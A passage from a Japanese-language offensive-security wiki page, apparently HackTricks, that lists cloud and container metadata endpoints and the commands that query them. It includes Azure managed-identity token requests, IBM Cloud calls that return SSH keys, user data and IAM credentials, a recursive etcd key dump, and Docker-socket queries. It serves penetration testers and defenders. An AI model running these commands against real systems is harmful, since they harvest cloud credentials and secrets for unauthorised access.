(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://vault.azure.net/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
|
||
|
||
## Get storage token
|
||
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
|
||
|
||
## Remember that in Automation Accounts it might be declared the client ID of the assigned user managed identity inside the variable that can be gatehred with:
|
||
Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'
|
||
```
|
||
{{#endtab}}
|
||
{{#endtabs}}
|
||
|
||
## IBM Cloud
|
||
|
||
> [!WARNING]
|
||
> IBMではデフォルトでメタデータが有効になっていないため、IBMクラウドVM内にいてもアクセスできない可能性があります。
|
||
```bash
|
||
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
|
||
-H "Metadata-Flavor: ibm"\
|
||
-H "Accept: application/json"\
|
||
-d '{
|
||
"expires_in": 3600
|
||
}' | jq -r '(.access_token)'`
|
||
|
||
# Get instance details
|
||
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
|
||
|
||
# Get SSH keys info
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
|
||
|
||
# Get SSH keys fingerprints & user data
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
|
||
|
||
# Get placement groups
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
|
||
|
||
# Get IAM credentials
|
||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||
```
|
||
以下に、さまざまなプラットフォームのメタデータサービスに関するドキュメントを示し、インスタンスの構成および実行時情報にアクセスする方法を強調します。各プラットフォームは、メタデータサービスにアクセスするためのユニークなエンドポイントを提供しています。
|
||
|
||
## Packetcloud
|
||
|
||
Packetcloudのメタデータにアクセスするためのドキュメントは、次のリンクにあります: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||
|
||
## OpenStack/RackSpace
|
||
|
||
ヘッダーの必要性は言及されていません。メタデータには次の方法でアクセスできます:
|
||
|
||
- `http://169.254.169.254/openstack`
|
||
|
||
## HP Helion
|
||
|
||
ここでもヘッダーの必要性は言及されていません。メタデータには次のURLでアクセスできます:
|
||
|
||
- `http://169.254.169.254/2009-04-04/meta-data/`
|
||
|
||
## Oracle Cloud
|
||
|
||
Oracle Cloudは、さまざまなメタデータの側面にアクセスするための一連のエンドポイントを提供しています:
|
||
|
||
- `http://192.0.0.192/latest/`
|
||
- `http://192.0.0.192/latest/user-data/`
|
||
- `http://192.0.0.192/latest/meta-data/`
|
||
- `http://192.0.0.192/latest/attributes/`
|
||
|
||
## Alibaba
|
||
|
||
Alibabaは、インスタンスおよびイメージIDを含むメタデータにアクセスするためのエンドポイントを提供しています:
|
||
|
||
- `http://100.100.100.200/latest/meta-data/`
|
||
- `http://100.100.100.200/latest/meta-data/instance-id`
|
||
- `http://100.100.100.200/latest/meta-data/image-id`
|
||
|
||
## Kubernetes ETCD
|
||
|
||
Kubernetes ETCDは、APIキー、内部IPアドレス、およびポートを保持できます。アクセスは次のように示されます:
|
||
|
||
- `curl -L http://127.0.0.1:2379/version`
|
||
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||
|
||
## Docker
|
||
|
||
Dockerメタデータにはローカルでアクセスでき、コンテナおよびイメージ情報の取得に関する例が示されています:
|
||
|
||
- Dockerソケットを介してコンテナとイメージのメタデータにアクセスするためのシンプルな例:
|
||
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||
- コンテナ内で、Dockerソケットを使用してcurlを実行します:
|
||
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||
|
||
## Rancher
|
||
|
||
Rancherのメタデータには次のようにアクセスできます:
|
||
|
||
- `curl http://rancher-metadata/<version>/<path>`
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|